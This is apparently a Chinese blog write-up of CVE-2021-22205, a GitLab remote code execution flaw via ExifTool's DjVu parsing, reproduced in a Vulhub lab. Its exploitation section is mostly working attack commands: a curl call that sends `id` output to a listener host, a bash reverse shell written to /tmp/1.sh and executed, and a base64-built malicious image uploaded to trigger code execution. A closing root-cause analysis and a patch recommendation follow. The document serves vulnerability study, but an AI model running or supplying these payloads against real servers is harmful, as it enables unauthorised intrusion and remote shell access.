CVE-2021-22205

CVE-2021-22205(远程命令执行漏洞)

漏洞描述

2021年4⽉15⽇,GitLab官方发布安全补丁更新修复了GitLab命令执行漏洞(CVE-2021- 22205)。由于GitLab中的ExifTool没有对传⼊的图像文件的扩展名进行正确处理,攻击者通过 上传特制的恶意图片,可以在目标服务器上执行任意命令,且发现由于GitLab存在未授权的端点,导致该漏洞在无需进行身份验证的情况下即可进行利用,社区版(CE)和企业版(EE)皆受影 响,CVSS评分为9.9。

影响版本

  • 11.9 <= Gitlab CE/EE < 13.8.8
  • 13.9 <= Gitlab CE/EE < 13.9.6
  • 13.10 <= Gitlab CE/EE < 13.10.3

环境配置

  • Vulhub项目
  • Docker-compose启动

PORT:8080
User:root
Passwd:vulhub123456

漏洞复现

漏洞存在验证

python3 CVE-2021-22205.py -v true -t http://192.168.40.129:8080
工具地址:https://github.com/Al1ex/CVE-2021-22205.git

可以看到存在漏洞

工具/脚本复现

脚本利用
python3 CVE-2021-22205.py -a true -t http://192.168.40.129:8080 -c "curl http://192.168.40.1:8080/`id`"

[!NOTE]
需要有dnslog平台或者公网vps来接收命令执行结果

python CVE-2021-22205.py -a true -t http://192.168.235.129/ -c "echo 'bash -i >& /dev/tcp/{IP}/{PORT} 0>&1' > /tmp/1.sh"

python CVE-2021-22205.py -a true -t http://192.168.235.129/ -c "chmod +x /tmp/1.sh"

python CVE-2021-22205.py -a true -t http://192.168.235.129/ -c "/bin/bash /tmp/1.sh"

反弹shell

MSF利用
search cve:2021-22205

手动复现

[!important]
值得注意的是:

该方法使用的原理和工具利用的原理差不多,但是该方法触发漏洞的流程不同

echo -e "QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs=" | base64 -d > lol.jpg

echo -n 'echo rce-test >> /tmp/success' >> lol.jpg

echo -n "fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg==" | base64 -d >> lol.jpg
curl -v -F 'file=@lol.jpg' http://{TARGET}/$(openssl rand -hex 8)

漏洞原理

根据gitlab的官方漏洞issues来看,当访问接口/uploads/user上传图像文件时,GitLab Workhorse会将扩展名为jpg、jpeg、tiff文件传递给ExifTool。用于删除其中不合法的标签。具体的标签在workhorse/internal/upload/exif/exif.go中的startProcessing方法中有定义,为白名单处理,函数内容如下:

func (c *cleaner) startProcessing(stdin io.Reader) error {
    var err error
  //白名单标签
    whitelisted_tags := []string{
        "-ResolutionUnit",
        "-XResolution",
        "-YResolution",
        "-YCbCrSubSampling",
        "-YCbCrPositioning",
        "-BitsPerSample",
        "-ImageHeight",
        "-ImageWidth",
        "-ImageSize",
        "-Copyright",
        "-CopyrightNotice",
        "-Orientation",
    }

  //传入参数
    args := append([]string{"-all=", "--IPTC:all", "--XMP-iptcExt:all", "-tagsFromFile", "@"}, whitelisted_tags...)
    args = append(args, "-")

  //使用CommandContext执行命令调用exiftool
    c.cmd = exec.CommandContext(c.ctx, "exiftool", args...)

  //获取输出和错误
    c.cmd.Stderr = &c.stderr
    c.cmd.Stdin = stdin

    c.stdout, err = c.cmd.StdoutPipe()
    if err != nil {
        return fmt.Errorf("failed to create stdout pipe: %v", err)
    }

    if err = c.cmd.Start(); err != nil {
        return fmt.Errorf("start %v: %v", c.cmd.Args, err)
    }

    return nil
}

而ExifTool在解析文件的时候会忽略文件的扩展名,尝试根据文件的内容来确定文件类型,其中支持的类型有DjVu。

DjVu是由AT&T实验室自1996年起开发的一种图像压缩技术,已发展成为标准的图像文档格式之一

ExifTool是一个独立于平台的Perl库,一款能用作多功能图片信息查看工具。可以解析出照片的exif信息,可以编辑修改exif信息,用户能够轻松地进行查看图像文件的EXIF信息,完美支持exif信息的导出。

关键在于ExifTool在解析DjVu注释的ParseAnt函数中存在漏洞,所以我们就可以通过构造DjVu文件并插入恶意注释内容将其改为jpg后缀上传,因为gitlab并未在这个过程中验证文件内容是否是允许的格式,最后让ExifTool以DjVu形式来解析文件,造成了ExifTool代码执行漏洞。

该漏洞存在于ExifTool的7.44版本以上,在12.4版本中修复。Gitlab v13.10.2使用的ExifTool版本为11.70。并且接口/uploads/user可通过获取的X-CSRF-Token和未登录Session后来进行未授权访问。最终造成了GitLab未授权的远程代码执行漏洞。

CVE-2021-22205 GitLab RCE之未授权访问深入分析(一)

CVE-2021-22204 GitLab RCE之exiftool代码执行漏洞深入分析(二)

[!important]
漏洞利用关键点如下:

  • 接口可未授权访问(可获取csrf-token和cookie)
  • 解析DjVu注释函数存在漏洞

修复建议

  • 升级到最新版本
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值